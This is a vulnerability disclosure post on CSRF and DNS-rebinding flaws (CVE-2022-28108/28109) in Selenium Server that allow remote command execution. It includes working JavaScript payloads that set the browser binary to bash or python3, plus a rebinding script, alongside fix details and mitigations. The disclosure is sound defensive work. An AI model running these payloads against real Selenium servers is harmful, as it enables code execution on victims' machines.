CSRF and DNS-rebinding to RCE in Selenium Server (Grid)
Published:
Updated:
/dev/posts/ Published: Updated: CSRF and DNS-rebinding to RCE in Selenium Server (Grid)
Vulnerabilities in found on the WebDriver endpoints of Selenium Server (Grid).
Selenium Server (Grid) is vulnerable to Cross-Site Request Forgery (CSRF) and DNS-rebinding attacks. This is CVE-2022-28108 and CVE-2022-28109 respectively. These vulnerabilities can be exploited to execute arbitrary system commands (remote command execution) through both geckodriver and chromedriver. This was fixed in 4.0.0-alpha-7.
In this example, we show how we can achieve RCE with CSRF through geckodriver:
async function main() {
await fetch("http://localhost:4444/wd/hub/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"browserName": "firefox",
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
}
main();
This vulnerability has been tested on:
Note that as part of the fix for CVE-2020-15660, newer versions of GeckoDriver do not execute arbitrary code through this method. It is however possible to execute arbitrary code by shipping custom Firefox configuration:
It is possible to execute arbitrary code through chromedriver as well:
fetch("http://localhost:4444/wd/hub/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"browserName": "chrome",
"goog:chromeOptions": {
"binary": "/usr/bin/python3",
"args": ["-cimport os;os.system('xterm -e nyancat')"]
}
}
}
}),
});
CSRF is possible because selenium-standalone-server accepts requests with any Content-Type
. Another origin can make POST requests to selenium-standalone-server using the following content-types: application/x-www-form-urlencoded
, multipart/form-data
, text/plain
.
selenium-standalone-server could fix this vulnerability by rejecting these content-types. selenium-standalone-server could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.
It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers (a similar issue has been reported on another implementation). The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionally, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.
An new command-line flag could be added to selenium-standalone-server in order to enable some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.
selenium-standalone-server could receive a new option to listen on a PF_LOCAL
socket. These sockets are normally not accessible by CSRF. This could additionally be used to prevent other users on the same machine from talking to the selenium-standalone-server instance.
Selenium server is vulnerable to DNS rebinding attacks. In contrast to the Crossite-Site Request Forgery (CSRF), when using this vulnerability, an attacker can see the responses of the attacked Selenium server instance. The attacker can thus interact with the created WebDriver session. This could be used:
file://
);This vulnerability has been tested on:
Run selenium server:
java -jar selenium-server-4.0.0-alpha-6.jar standalone --port 555
The following JavaScript payload served from a HTTP web server using the same port number as Selenium (eg. TCP 5555) may be used to trigger the vulnerability:
function sleep(delay) {
return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
while (true) {
const response = await fetch("/wd/hub/session", {
method: "POST",
mode: "same-origin",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"browserName": "firefox"
}
}
})
});
if (response.status >= 200 && response.status < 300)
return response.json();
await sleep(1000);
}
}
async function main() {
const creation = await createSession();
const sessionId = creation.value.sessionId;
const sessionPath = "/wd/hub/session/" + sessionId;
fetch(sessionPath + "/url", {
method: "POST",
mode: "same-origin",
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
"url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
})
});
}
main();
The browser user must access this web server using a DNS rebinding domain name. For example using whonow:
http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:5555/
Selenium server is vulnerable to DNS rebinding attacks because it is accepting requests using arbitrary Host
header (eg. Host: rebind.netlib.re:4444
). By checking the value of the Host
header and enforcing values such as localhost:444
, we can prevent DNS rebinding attacks.
In 2020-06-10, I checked selenium-server-4.0.0-beta-4. and found that changes were merged in commit 48a54517e9e5c8fd7b619b8199398fae03199892 releases the 10th July 2020. This was fixed in 4.0.0-alpha-7.
It is apparently not vulnerable to CSRF because it checks the Content-Type
header.
public static final String JSON_UTF_8 = "application/json; charset=utf-8";
// [...]
String type = req.getHeader("Content-Type");
if (type == null) {
return NO_HEADER;
}
try {
if (!MediaType.JSON_UTF_8.equals(MediaType.parse(type))) {
return badType(type);
}
} catch (IllegalArgumentException e) {
return badType(type);
}
Some DNS rebinding protection has been implemented. However, Selenium server does not check the Host
header but only checks the Origin
header (if present). As a consequence, it is not vulnerable to DNS rebinding attacks through evergreen browsers but could be vulnerable through other (older) browsers.
String origin = req.getHeader("Origin");
if (origin != null && !allowedHosts.contains(origin)) {
return new HttpResponse()
.setStatus(HTTP_INTERNAL_ERROR)
.addHeader("Content-Type", JSON_UTF_8)
.setContent(Contents.asJson(ImmutableMap.of(
"value", ImmutableMap.of(
"error", "unknown error",
"message", "Origin not allowed: " + origin,
"stacktrace", ""))));
}
The Selenium doc says the following:
Warning
The Selenium Grid must be protected from external access using appropriate firewall permissions.
Failure to protect your Grid could result in one or more of the following occurring:
- You provide open access to your Grid infrastructure
- You allow third parties to access internal web applications and files
- You allow third parties to run custom binaries
See this blog post on Detectify, which gives a good overview of how a publicly exposed Grid could be misused: Don’t Leave your Grid Wide Open
However, the CSRF and DNS-rebinding attacks can be used to bypass firewall permissions. If some browser in the local network visits a malicious website, this website could exploit the browser to reach WebDriver endpoint and execute arbitrary code. This includes browser instances launched by Selenium itself.